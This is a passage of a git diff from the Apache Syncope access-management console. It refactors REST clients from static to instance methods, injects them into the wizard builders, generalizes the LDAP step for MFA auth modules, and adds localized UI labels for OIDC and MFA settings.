b/client/am/console/src/main/java/org/apache/syncope/client/console/rest/SRAStatisticsRestClient.java @@ -26,6 +26,7 @@ import org.apache.commons.lang3.tuple.Pair; import org.apache.cxf.jaxrs.client.WebClient; import org.apache.syncope.client.console.SyncopeWebApplication; +import org.apache.syncope.client.lib.WebClientBuilder; import org.apache.syncope.common.keymaster.client.api.model.NetworkService; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -37,19 +38,16 @@ public final class SRAStatisticsRestClient { private static final List JAX_RS_PROVIDERS = List.of(new JacksonJsonProvider(JsonMapper.builder().findAndAddModules().build())); - private static String getActuatorEndpoint(final List instances) { + protected String getActuatorEndpoint(final List instances) { return instances.get(0).getAddress() + "actuator/metrics/spring.cloud.gateway.requests"; } - public static SRAStatistics get(final List instances, final List> selected) { + public SRAStatistics get(final List instances, final List> selected) { try { - WebClient client = WebClient.create( - getActuatorEndpoint(instances), - JAX_RS_PROVIDERS, + WebClient client = WebClientBuilder.build(getActuatorEndpoint(instances), SyncopeWebApplication.get().getAnonymousUser(), SyncopeWebApplication.get().getAnonymousKey(), - null). - accept(MediaType.APPLICATION_JSON_TYPE); + JAX_RS_PROVIDERS).accept(MediaType.APPLICATION_JSON_TYPE); if (!selected.isEmpty()) { client.query("tag", selected.stream().map(s -> s.getKey() + ":" + s.getValue()).toArray()); @@ -68,8 +66,4 @@ public static SRAStatistics get(final List instances, final List return new SRAStatistics(); } - - private SRAStatisticsRestClient() { - // private constructor for static utility class - } } diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/rest/WAConfigRestClient.java b/client/am/console/src/main/java/org/apache/syncope/client/console/rest/WAConfigRestClient.java index 8b683eaf788..4dce2e8b33e 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/rest/WAConfigRestClient.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/rest/WAConfigRestClient.java @@ -26,19 +26,23 @@ public class WAConfigRestClient extends BaseRestClient { private static final long serialVersionUID = -7379778542101161274L; - public static List list() { + public List list() { return getService(WAConfigService.class).list(); } - public static void set(final Attr value) { + public Attr get(final String schema) { + return getService(WAConfigService.class).get(schema); + } + + public void set(final Attr value) { getService(WAConfigService.class).set(value); } - public static void delete(final String schema) { + public void delete(final String schema) { getService(WAConfigService.class).delete(schema); } - public static void push() { - getService(WAConfigService.class).pushToWA(); + public void push(final WAConfigService.PushSubject subject, final List services) { + getService(WAConfigService.class).pushToWA(subject, services); } } diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/rest/WASessionRestClient.java b/client/am/console/src/main/java/org/apache/syncope/client/console/rest/WASessionRestClient.java index 48f80e912a1..c527c7147e1 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/rest/WASessionRestClient.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/rest/WASessionRestClient.java @@ -26,8 +26,8 @@ import java.util.List; import javax.ws.rs.core.MediaType; import javax.ws.rs.core.Response; -import org.apache.cxf.jaxrs.client.WebClient; import org.apache.syncope.client.console.SyncopeWebApplication; +import org.apache.syncope.client.lib.WebClientBuilder; import org.apache.syncope.common.keymaster.client.api.model.NetworkService; import org.apache.syncope.common.lib.AMSession; @@ -35,7 +35,7 @@ public final class WASessionRestClient extends AMSessionRestClient { private static final long serialVersionUID = 22118820292494L; - private static final JsonMapper MAPPER = JsonMapper.builder(). + protected static final JsonMapper MAPPER = JsonMapper.builder(). addModule(new SimpleModule().addDeserializer(AMSession.class, new AMSessionDeserializer())).build(); public WASessionRestClient(final List instances) { @@ -50,12 +50,10 @@ protected String getActuatorEndpoint() { @Override public List list() { try { - Response response = WebClient.create( - getActuatorEndpoint(), + Response response = WebClientBuilder.build(getActuatorEndpoint(), SyncopeWebApplication.get().getAnonymousUser(), SyncopeWebApplication.get().getAnonymousKey(), - null). - accept(MediaType.APPLICATION_JSON_TYPE).get(); + List.of()).accept(MediaType.APPLICATION_JSON_TYPE).get(); if (response.getStatus() == Response.Status.OK.getStatusCode()) { JsonNode node = MAPPER.readTree((InputStream) response.getEntity()); if (node.has("activeSsoSessions")) { diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/wizards/AttrRepoWizardBuilder.java b/client/am/console/src/main/java/org/apache/syncope/client/console/wizards/AttrRepoWizardBuilder.java index 784b04d5dba..5253630e52d 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/wizards/AttrRepoWizardBuilder.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/wizards/AttrRepoWizardBuilder.java @@ -28,7 +28,7 @@ import org.apache.syncope.client.console.wizards.mapping.AttrRepoMappingPanel; import org.apache.syncope.client.ui.commons.Constants; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxDropDownChoicePanel; -import org.apache.syncope.client.ui.commons.markup.html.form.AjaxSpinnerFieldPanel; +import org.apache.syncope.client.ui.commons.markup.html.form.AjaxNumberFieldPanel; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxTextFieldPanel; import org.apache.syncope.client.ui.commons.wizards.AjaxWizard; import org.apache.syncope.common.lib.attr.AttrRepoConf; @@ -50,9 +50,14 @@ public class AttrRepoWizardBuilder extends BaseAjaxWizardBuilder { protected final LoadableDetachableModel> attrRepoConfs; - protected Model> attrRepoConfClass = Model.of(); + protected final AttrRepoRestClient attrRepoRestClient; - public AttrRepoWizardBuilder(final AttrRepoTO defaultItem, final PageReference pageRef) { + protected final Model> attrRepoConfClass = Model.of(); + + public AttrRepoWizardBuilder( + final AttrRepoTO defaultItem, + final AttrRepoRestClient attrRepoRestClient, + final PageReference pageRef) { super(defaultItem, pageRef); @@ -66,14 +71,15 @@ protected List load() { map(Class::getName).sorted().collect(Collectors.toList()); } }; + this.attrRepoRestClient = attrRepoRestClient; } @Override protected Serializable onApplyInternal(final AttrRepoTO modelObject) { if (mode == AjaxWizard.Mode.CREATE) { - AttrRepoRestClient.create(modelObject); + attrRepoRestClient.create(modelObject); } else { - AttrRepoRestClient.update(modelObject); + attrRepoRestClient.update(modelObject); } return modelObject; } @@ -119,7 +125,7 @@ Constants.DESCRIPTION_FIELD_NAME, getString(Constants.DESCRIPTION_FIELD_NAME), state.setNullValid(false); add(state); - add(new AjaxSpinnerFieldPanel.Builder().build( + add(new AjaxNumberFieldPanel.Builder().build( "order", "order", Integer.class, diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/wizards/AuthModuleWizardBuilder.java b/client/am/console/src/main/java/org/apache/syncope/client/console/wizards/AuthModuleWizardBuilder.java index d976f5ab8a5..a0b7317bf42 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/wizards/AuthModuleWizardBuilder.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/wizards/AuthModuleWizardBuilder.java @@ -30,11 +30,12 @@ import org.apache.syncope.client.ui.commons.ajax.form.IndicatorAjaxFormComponentUpdatingBehavior; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxCheckBoxPanel; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxDropDownChoicePanel; -import org.apache.syncope.client.ui.commons.markup.html.form.AjaxSpinnerFieldPanel; +import org.apache.syncope.client.ui.commons.markup.html.form.AjaxNumberFieldPanel; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxTextFieldPanel; import org.apache.syncope.client.ui.commons.wizards.AjaxWizard; +import org.apache.syncope.common.lib.AbstractLDAPConf; import org.apache.syncope.common.lib.auth.AuthModuleConf; -import org.apache.syncope.common.lib.auth.GoogleMfaAuthModuleConf; +import org.apache.syncope.common.lib.auth.LDAPDependantAuthModuleConf; import org.apache.syncope.common.lib.to.AuthModuleTO; import org.apache.syncope.common.lib.types.AuthModuleState; import org.apache.wicket.PageReference; @@ -52,32 +53,36 @@ public class AuthModuleWizardBuilder extends BaseAjaxWizardBuilder private static final long serialVersionUID = -6163230263062920394L; - protected final LoadableDetachableModel> authModuleConfs; + protected final LoadableDetachableModel> authModuleConfs = new LoadableDetachableModel<>() { - protected Model> authModuleConfClass = Model.of(); + private static final long serialVersionUID = 5275935387613157437L; - public AuthModuleWizardBuilder(final AuthModuleTO defaultItem, final PageReference pageRef) { + @Override + protected List load() { + return SyncopeWebApplication.get().getLookup().getClasses(AuthModuleConf.class).stream(). + map(Class::getName).sorted().collect(Collectors.toList()); + } + }; - super(defaultItem, pageRef); + protected final AuthModuleRestClient authModuleRestClient; - authModuleConfs = new LoadableDetachableModel<>() { + protected final Model> authModuleConfClass = Model.of(); - private static final long serialVersionUID = 5275935387613157437L; + public AuthModuleWizardBuilder( + final AuthModuleTO defaultItem, + final AuthModuleRestClient authModuleRestClient, + final PageReference pageRef) { - @Override - protected List load() { - return SyncopeWebApplication.get().getLookup().getClasses(AuthModuleConf.class).stream(). - map(Class::getName).sorted().collect(Collectors.toList()); - } - }; + super(defaultItem, pageRef); + this.authModuleRestClient = authModuleRestClient; } @Override protected Serializable onApplyInternal(final AuthModuleTO modelObject) { if (mode == AjaxWizard.Mode.CREATE) { - AuthModuleRestClient.create(modelObject); + authModuleRestClient.create(modelObject); } else { - AuthModuleRestClient.update(modelObject); + authModuleRestClient.update(modelObject); } return modelObject; } @@ -86,7 +91,7 @@ protected Serializable onApplyInternal(final AuthModuleTO modelObject) { protected WizardModel buildModelSteps(final AuthModuleTO modelObject, final WizardModel wizardModel) { wizardModel.add(new Profile(modelObject, authModuleConfs, authModuleConfClass)); wizardModel.add(new Configuration(modelObject)); - wizardModel.add(new GoogleMfaAuthModuleConfLDAP(modelObject, authModuleConfClass)); + wizardModel.add(new AuthModuleConfLDAP(modelObject, authModuleConfClass)); wizardModel.add(new Mapping(modelObject)); return wizardModel; } @@ -124,7 +129,7 @@ Constants.DESCRIPTION_FIELD_NAME, getString(Constants.DESCRIPTION_FIELD_NAME), state.setNullValid(false); add(state); - add(new AjaxSpinnerFieldPanel.Builder().build( + add(new AjaxNumberFieldPanel.Builder().build( "order", "order", Integer.class, @@ -152,7 +157,7 @@ protected void onEvent(final AjaxRequestTarget target) { authModule.setConf(clazz.getConstructor().newInstance()); authModuleConfClass.setObject(clazz); } catch (Exception e) { - LOG.error("During deserialization", e); + LOG.error("Cannot instantiate {}", conf.getModelObject(), e); } } }); @@ -165,24 +170,24 @@ protected class Configuration extends WizardStep { private static final long serialVersionUID = -785981096328637758L; Configuration(final AuthModuleTO authModule) { - add(new BeanPanel<>( - "bean", new PropertyModel<>(authModule, "conf"), pageRef, "ldap").setRenderBodyOnly(true)); + add(new BeanPanel<>("bean", new PropertyModel<>(authModule, "conf"), pageRef, "ldap"). + setRenderBodyOnly(true)); } } - protected class GoogleMfaAuthModuleConfLDAP extends WizardStep implements WizardModel.ICondition { + protected class AuthModuleConfLDAP extends WizardStep implements WizardModel.ICondition { private static final long serialVersionUID = 5328049907748683944L; private final Model> authModuleConfClass; - GoogleMfaAuthModuleConfLDAP( + AuthModuleConfLDAP( final AuthModuleTO authModule, final Model> authModuleConfClass) { this.authModuleConfClass = authModuleConfClass; - PropertyModel beanPanelModel = new PropertyModel<>(authModule, "conf.ldap"); + PropertyModel beanPanelModel = new PropertyModel<>(authModule, "conf.ldap"); AjaxCheckBoxPanel enable = new AjaxCheckBoxPanel("enable", "enableLDAP", new IModel() { @@ -205,11 +210,16 @@ public void setObject(final Boolean object) { @Override protected void onUpdate(final AjaxRequestTarget target) { if (beanPanelModel.getObject() == null) { - beanPanelModel.setObject(new GoogleMfaAuthModuleConf.LDAP()); + try { + beanPanelModel.setObject((AbstractLDAPConf) authModuleConfClass.getObject(). + getMethod("ldapInstance", new Class[] {}).invoke(authModule.getConf())); + } catch (Exception e) { + LOG.warn("Error instantiating beanPanel model object", e); + } } else { beanPanelModel.setObject(null); } - target.add(GoogleMfaAuthModuleConfLDAP.this); + target.add(AuthModuleConfLDAP.this); } }); add(enable); @@ -220,7 +230,7 @@ protected void onUpdate(final AjaxRequestTarget target) { @Override public boolean evaluate() { - return GoogleMfaAuthModuleConf.class.equals(authModuleConfClass.getObject()); + return LDAPDependantAuthModuleConf.class.isAssignableFrom(authModuleConfClass.getObject()); } } diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/wizards/SAML2IdPEntityWizardBuilder.java b/client/am/console/src/main/java/org/apache/syncope/client/console/wizards/SAML2IdPEntityWizardBuilder.java index 16ff6d83275..9d88b52989a 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/wizards/SAML2IdPEntityWizardBuilder.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/wizards/SAML2IdPEntityWizardBuilder.java @@ -30,10 +30,17 @@ public class SAML2IdPEntityWizardBuilder extends SAML2EntityWizardBuilder { - private static final long serialVersionUID = 1L; + private static final long serialVersionUID = -8013493490328546125L; + + protected final SAML2IdPEntityRestClient saml2IdPEntityRestClient; + + public SAML2IdPEntityWizardBuilder( + final SAML2IdPEntityTO defaultItem, + final SAML2IdPEntityRestClient saml2IdPEntityRestClient, + final PageReference pageRef) { - public SAML2IdPEntityWizardBuilder(final SAML2IdPEntityTO defaultItem, final PageReference pageRef) { super(defaultItem, pageRef); + this.saml2IdPEntityRestClient = saml2IdPEntityRestClient; } @Override @@ -58,7 +65,7 @@ protected Serializable onApplyInternal(final SAML2IdPEntityTO modelObject) { modelObject.setEncryptionKey(Base64.getEncoder().encodeToString( modelObject.getEncryptionKey().getBytes(StandardCharsets.UTF_8))); } - SAML2IdPEntityRestClient.set(modelObject); + saml2IdPEntityRestClient.set(modelObject); return modelObject; } diff --git a/client/am/console/src/main/java/org/apache/syncope/client/console/wizards/SAML2SPEntityWizardBuilder.java b/client/am/console/src/main/java/org/apache/syncope/client/console/wizards/SAML2SPEntityWizardBuilder.java index 4c2321dc6d3..b98db6910d1 100644 --- a/client/am/console/src/main/java/org/apache/syncope/client/console/wizards/SAML2SPEntityWizardBuilder.java +++ b/client/am/console/src/main/java/org/apache/syncope/client/console/wizards/SAML2SPEntityWizardBuilder.java @@ -35,10 +35,17 @@ public class SAML2SPEntityWizardBuilder extends SAML2EntityWizardBuilder { - private static final long serialVersionUID = 1L; + private static final long serialVersionUID = 2400472385439304277L; + + protected final SAML2SPEntityRestClient saml2SPEntityRestClient; + + public SAML2SPEntityWizardBuilder( + final SAML2SPEntityTO defaultItem, + final SAML2SPEntityRestClient saml2SPEntityRestClient, + final PageReference pageRef) { - public SAML2SPEntityWizardBuilder(final SAML2SPEntityTO defaultItem, final PageReference pageRef) { super(defaultItem, pageRef); + this.saml2SPEntityRestClient = saml2SPEntityRestClient; } @Override @@ -47,7 +54,7 @@ protected Serializable onApplyInternal(final SAML2SPEntityTO modelObject) { modelObject.setMetadata(Base64.getEncoder().encodeToString( modelObject.getMetadata().getBytes(StandardCharsets.UTF_8))); } - SAML2SPEntityRestClient.set(modelObject); + saml2SPEntityRestClient.set(modelObject); return modelObject; } diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/authprofiles/AuthProfileDirectoryPanel.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/authprofiles/AuthProfileDirectoryPanel.properties index e095d91b2ba..49b21ba589d 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/authprofiles/AuthProfileDirectoryPanel.properties +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/authprofiles/AuthProfileDirectoryPanel.properties @@ -37,10 +37,15 @@ secretKey=Secret Key validationCode=Validation Code scratchCodes=Scratch Codes record=Record -fo_edit.class=fab fa-usb -fo_edit.title=u2f Devices +deprovision.class=fab fa-usb +deprovision.title=u2f Devices identifier=Identifier json=JSON html.class=fas fa-at html.title=webauthn webAuthnDeviceCredentials=WebAuthn Device Credentials +expirationDate=Expiration Date +recordDate=Record Date +mfaTrustedDevices=MFA Devices +down.title=mfa devices +down.class=fas fa-barcode diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/authprofiles/AuthProfileDirectoryPanel_fr_CA.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/authprofiles/AuthProfileDirectoryPanel_fr_CA.properties index 8a42e53c73a..5e1a601fa44 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/authprofiles/AuthProfileDirectoryPanel_fr_CA.properties +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/authprofiles/AuthProfileDirectoryPanel_fr_CA.properties @@ -37,10 +37,15 @@ secretKey=Secret Key validationCode=Validation Code scratchCodes=Scratch Codes record=Record -fo_edit.class=fab fa-usb -fo_edit.title=u2f Devices +deprovision.class=fab fa-usb +deprovision.title=u2f Devices identifier=Identifier json=JSON html.class=fas fa-at html.title=webauthn webAuthnDeviceCredentials=WebAuthn Device Credentials +expirationDate=Expiration Date +recordDate=Record Date +mfaTrustedDevices=MFA Devices +down.title=mfa devices +down.class=fas fa-barcode diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/authprofiles/AuthProfileDirectoryPanel_it.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/authprofiles/AuthProfileDirectoryPanel_it.properties index 0fd02d5f98f..eeea47d4da6 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/authprofiles/AuthProfileDirectoryPanel_it.properties +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/authprofiles/AuthProfileDirectoryPanel_it.properties @@ -37,10 +37,15 @@ secretKey=Chiave Segreta validationCode=Codice Validazione scratchCodes=Codici Scratch record=Record -fo_edit.class=fab fa-usb -fo_edit.title=dispositivi u2f +deprovision.class=fab fa-usb +deprovision.title=dispositivi u2f identifier=Identificativo json=JSON html.class=fas fa-at html.title=webauthn webAuthnDeviceCredentials=Dispositivi Credenziali WebAuthn +expirationDate=Scadenza +recordDate=Memorizzazione +mfaTrustedDevices=Dispositivi MFA +down.title=dispositivi mfa +down.class=fas fa-barcode diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/authprofiles/AuthProfileDirectoryPanel_ja.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/authprofiles/AuthProfileDirectoryPanel_ja.properties index d2fc5697f7e..a7a4938210f 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/authprofiles/AuthProfileDirectoryPanel_ja.properties +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/authprofiles/AuthProfileDirectoryPanel_ja.properties @@ -37,10 +37,15 @@ secretKey=Secret Key validationCode=Validation Code scratchCodes=Scratch Codes record=Record -fo_edit.class=fab fa-usb -fo_edit.title=u2f Devices +deprovision.class=fab fa-usb +deprovision.title=u2f Devices identifier=Identifier json=JSON html.class=fas fa-at html.title=webauthn webAuthnDeviceCredentials=WebAuthn Device Credentials +expirationDate=Expiration Date +recordDate=Record Date +mfaTrustedDevices=MFA Devices +down.title=mfa devices +down.class=fas fa-barcode diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/authprofiles/AuthProfileDirectoryPanel_pt_BR.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/authprofiles/AuthProfileDirectoryPanel_pt_BR.properties index 8d919ed952b..623f5481b52 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/authprofiles/AuthProfileDirectoryPanel_pt_BR.properties +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/authprofiles/AuthProfileDirectoryPanel_pt_BR.properties @@ -37,10 +37,15 @@ secretKey=Secret Key validationCode=Validation Code scratchCodes=Scratch Codes record=Record -fo_edit.class=fab fa-usb -fo_edit.title=u2f Devices +deprovision.class=fab fa-usb +deprovision.title=u2f Devices identifier=Identifier json=JSON html.class=fas fa-at html.title=webauthn webAuthnDeviceCredentials=WebAuthn Device Credentials +expirationDate=Expiration Date +recordDate=Record Date +mfaTrustedDevices=MFA Devices +down.title=mfa devices +down.class=fas fa-barcode diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/authprofiles/AuthProfileDirectoryPanel_ru.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/authprofiles/AuthProfileDirectoryPanel_ru.properties index b638d451d51..e11f42941cc 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/authprofiles/AuthProfileDirectoryPanel_ru.properties +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/authprofiles/AuthProfileDirectoryPanel_ru.properties @@ -38,10 +38,15 @@ secretKey=Secret Key validationCode=Validation Code scratchCodes=Scratch Codes record=Record -fo_edit.class=fab fa-usb -fo_edit.title=u2f Devices +deprovision.class=fab fa-usb +deprovision.title=u2f Devices identifier=Identifier json=JSON html.class=fas fa-at html.title=webauthn webAuthnDeviceCredentials=WebAuthn Device Credentials +expirationDate=Expiration Date +recordDate=Record Date +mfaTrustedDevices=MFA Devices +down.title=mfa devices +down.class=fas fa-barcode diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/clientapps/ClientAppDirectoryPanel.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/clientapps/ClientAppDirectoryPanel.properties index 625bcf3dab3..229c25a2629 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/clientapps/ClientAppDirectoryPanel.properties +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/clientapps/ClientAppDirectoryPanel.properties @@ -58,3 +58,26 @@ attrReleasePolicy=Attribute Release Policy properties.title=Properties for ${name} type_extensions.title=properties bypassApprovalPrompt=Bypass Approval Prompt +scopes=Scopes +logo=Logo +informationUrl=Information URL +privacyUrl=Privacy URL +compose.title=username attribute provider +usernameAttributeProviderConf.title=Username Attribute Provider for ${name} +ticketExpirationPolicy=Ticket Expiration Policy +auditHistory.title=Configuration history +logoutType=Logout Type +jwks=JWKS +jwksUri=JWKS URI +tokenEndpointAuthenticationMethod=Token Endpoint Authentication Method +generateRefreshToken=Generate Refresh Token +idTokenIssuer=IdToken issuer +idTokenSigningAlg=IdToken signing algorithm +encryptIdToken=Encrypt IdToken +idTokenEncryptionAlg=IdToken encryption algorithm +idTokenEncryptionEncoding=IdToken encryption encoding +applicationType=Application Type +userInfoSigningAlg=UserInfo Signing Algorithm +userInfoEncryptedResponseAlg=UserInfo Encrypted Response Algorithm +userInfoEncryptedResponseEncoding=UserInfo Encrypted Response Encoding +evaluationOrder=Evaluation Order diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/clientapps/ClientAppDirectoryPanel_fr_CA.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/clientapps/ClientAppDirectoryPanel_fr_CA.properties index b90f283f438..b8f5fc87984 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/clientapps/ClientAppDirectoryPanel_fr_CA.properties +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/clientapps/ClientAppDirectoryPanel_fr_CA.properties @@ -58,3 +58,26 @@ attrReleasePolicy=Attribute Release Policy properties.title=Properties for ${name} type_extensions.title=properties bypassApprovalPrompt=Bypass Approval Prompt +scopes=Scopes +logo=Logo +informationUrl=Information URL +privacyUrl=Privacy URL +compose.title=username attribute provider +usernameAttributeProviderConf.title=Username Attribute Provider for ${name} +ticketExpirationPolicy=Ticket Expiration Policy +auditHistory.title=Historique de configuration +logoutType=Logout Type +jwks=JWKS +jwksUri=JWKS URI +tokenEndpointAuthenticationMethod=Token Endpoint Authentication Method +generateRefreshToken=Generate Refresh Token +idTokenIssuer=IdToken issuer +idTokenSigningAlg=IdToken signing algorithm +encryptIdToken=Encrypt IdToken +idTokenEncryptionAlg=IdToken encryption algorithm +idTokenEncryptionEncoding=IdToken encryption encoding +applicationType=Application Type +userInfoSigningAlg=UserInfo Signing Algorithm +userInfoEncryptedResponseAlg=UserInfo Encrypted Response Algorithm +userInfoEncryptedResponseEncoding=UserInfo Encrypted Response Encoding +evaluationOrder=Evaluation Order diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/clientapps/ClientAppDirectoryPanel_it.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/clientapps/ClientAppDirectoryPanel_it.properties index d280a11c3c3..90bfaf968a8 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/clientapps/ClientAppDirectoryPanel_it.properties +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/clientapps/ClientAppDirectoryPanel_it.properties @@ -58,3 +58,26 @@ attrReleasePolicy=Politica Rilascio Attributi properties.title=Propriet\u00e0 di ${name} type_extensions.title=propriet\u00e0 bypassApprovalPrompt=Salta richiesta approvazione +scopes=Scope +logo=Logo +informationUrl=URL informativa +privacyUrl=URL privacy +compose.title=username attribute provider +usernameAttributeProviderConf.title=Username Attribute Provider per ${name} +ticketExpirationPolicy=Politica Ticket Expiration +auditHistory.title=Storico delle configurazioni +logoutType=Tipo Logout +jwks=JWKS +jwksUri=JWKS URI +tokenEndpointAuthenticationMethod=Metodo di autenticazione dell'endpoint token +generateRefreshToken=Genera Refresh Token +idTokenIssuer=IdToken issuer +idTokenSigningAlg=Algoritmo di firma IdToken +encryptIdToken=Cifra IdToken +idTokenEncryptionAlg=Algoritmo di cifratura IdToken +idTokenEncryptionEncoding=Codifica di cifratura IdToken +applicationType=Tipo applicazione +userInfoSigningAlg=Algoritmo di firma UserInfo +userInfoEncryptedResponseAlg=Algoritmo di cifratura risposta UserInfo +userInfoEncryptedResponseEncoding=Codifica di cifratura risposta UserInfo +evaluationOrder=Ordine di valutazione diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/clientapps/ClientAppDirectoryPanel_ja.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/clientapps/ClientAppDirectoryPanel_ja.properties index d3d1364c84b..428c4dce872 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/clientapps/ClientAppDirectoryPanel_ja.properties +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/clientapps/ClientAppDirectoryPanel_ja.properties @@ -58,3 +58,26 @@ attrReleasePolicy=Attribute Release Policy properties.title=Properties for ${name} type_extensions.title=properties bypassApprovalPrompt=Bypass Approval Prompt +scopes=Scopes +logo=Logo +informationUrl=Information URL +privacyUrl=Privacy URL +compose.title=username attribute provider +usernameAttributeProviderConf.title=Username Attribute Provider for ${name} +ticketExpirationPolicy=Ticket Expiration Policy +auditHistory.title=\u8a2d\u5b9a\u5c65\u6b74 +logoutType=Logout Type +jwks=JWKS +jwksUri=JWKS URI +tokenEndpointAuthenticationMethod=Token Endpoint Authentication Method +generateRefreshToken=Generate Refresh Token +idTokenIssuer=IdToken issuer +idTokenSigningAlg=IdToken signing algorithm +encryptIdToken=Encrypt IdToken +idTokenEncryptionAlg=IdToken encryption algorithm +idTokenEncryptionEncoding=IdToken encryption encoding +applicationType=Application Type +userInfoSigningAlg=UserInfo Signing Algorithm +userInfoEncryptedResponseAlg=UserInfo Encrypted Response Algorithm +userInfoEncryptedResponseEncoding=UserInfo Encrypted Response Encoding +evaluationOrder=Evaluation Order diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/clientapps/ClientAppDirectoryPanel_pt_BR.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/clientapps/ClientAppDirectoryPanel_pt_BR.properties index 625bcf3dab3..54383631234 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/clientapps/ClientAppDirectoryPanel_pt_BR.properties +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/clientapps/ClientAppDirectoryPanel_pt_BR.properties @@ -58,3 +58,26 @@ attrReleasePolicy=Attribute Release Policy properties.title=Properties for ${name} type_extensions.title=properties bypassApprovalPrompt=Bypass Approval Prompt +scopes=Scopes +logo=Logo +informationUrl=Information URL +privacyUrl=Privacy URL +compose.title=username attribute provider +usernameAttributeProviderConf.title=Username Attribute Provider for ${name} +ticketExpirationPolicy=Ticket Expiration Policy +auditHistory.title=Hist\u00f3rico de configura\u00e7\u00e3o +logoutType=Logout Type +jwks=JWKS +jwksUri=JWKS URI +tokenEndpointAuthenticationMethod=Token Endpoint Authentication Method +generateRefreshToken=Generate Refresh Token +idTokenIssuer=IdToken issuer +idTokenSigningAlg=IdToken signing algorithm +encryptIdToken=Encrypt IdToken +idTokenEncryptionAlg=IdToken encryption algorithm +idTokenEncryptionEncoding=IdToken encryption encoding +applicationType=Application Type +userInfoSigningAlg=UserInfo Signing Algorithm +userInfoEncryptedResponseAlg=UserInfo Encrypted Response Algorithm +userInfoEncryptedResponseEncoding=UserInfo Encrypted Response Encoding +evaluationOrder=Evaluation Order diff --git a/client/am/console/src/main/resources/org/apache/syncope/client/console/clientapps/ClientAppDirectoryPanel_ru.properties b/client/am/console/src/main/resources/org/apache/syncope/client/console/clientapps/ClientAppDirectoryPanel_ru.properties index 47b953f7518..09307c88255 100644 --- a/client/am/console/src/main/resources/org/apache/syncope/client/console/clientapps/ClientAppDirectoryPanel_ru.properties +++ b/client/am/console/src/main/resources/org/apache/syncope/client/console/clientapps/ClientAppDirectoryPanel_ru.properties @@ -59,3 +59,26 @@ attrReleasePolicy=Attribute Release Policy properties.title=Properties for ${name} type_extensions.title=properties bypassApprovalPrompt=Bypass Approval Prompt +scopes=Scopes +logo=Logo +informationUrl=Information URL +privacyUrl=Privacy URL +compose.title=username attribute provider +usernameAttributeProviderConf.title=Username Attribute Provider for ${name} +ticketExpirationPolicy=Ticket Expiration Policy +auditHistory.title=\u0418\u0441\u0442\u043e\u0440\u0438\u044f \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 +logoutType=Logout Type +jwks=JWKS +jwksUri=JWKS URI +tokenEndpointAuthenticationMethod=Token Endpoint Authentication Method +generateRefreshToken=Generate Refresh Token +idTokenIssuer=IdToken issuer +idTokenSigningAlg=IdToken signing algorithm +encryptIdToken=Encrypt IdToken +idTokenEncryptionAlg=IdToken encryption algorithm +idTokenEncryptionEncoding=IdToken encryption encoding +applicationType=Application Type +userInfoSigningAlg=UserInfo Signing Algorithm +userInfoEncryptedResponseAlg=UserInfo Encrypted Response Algorithm 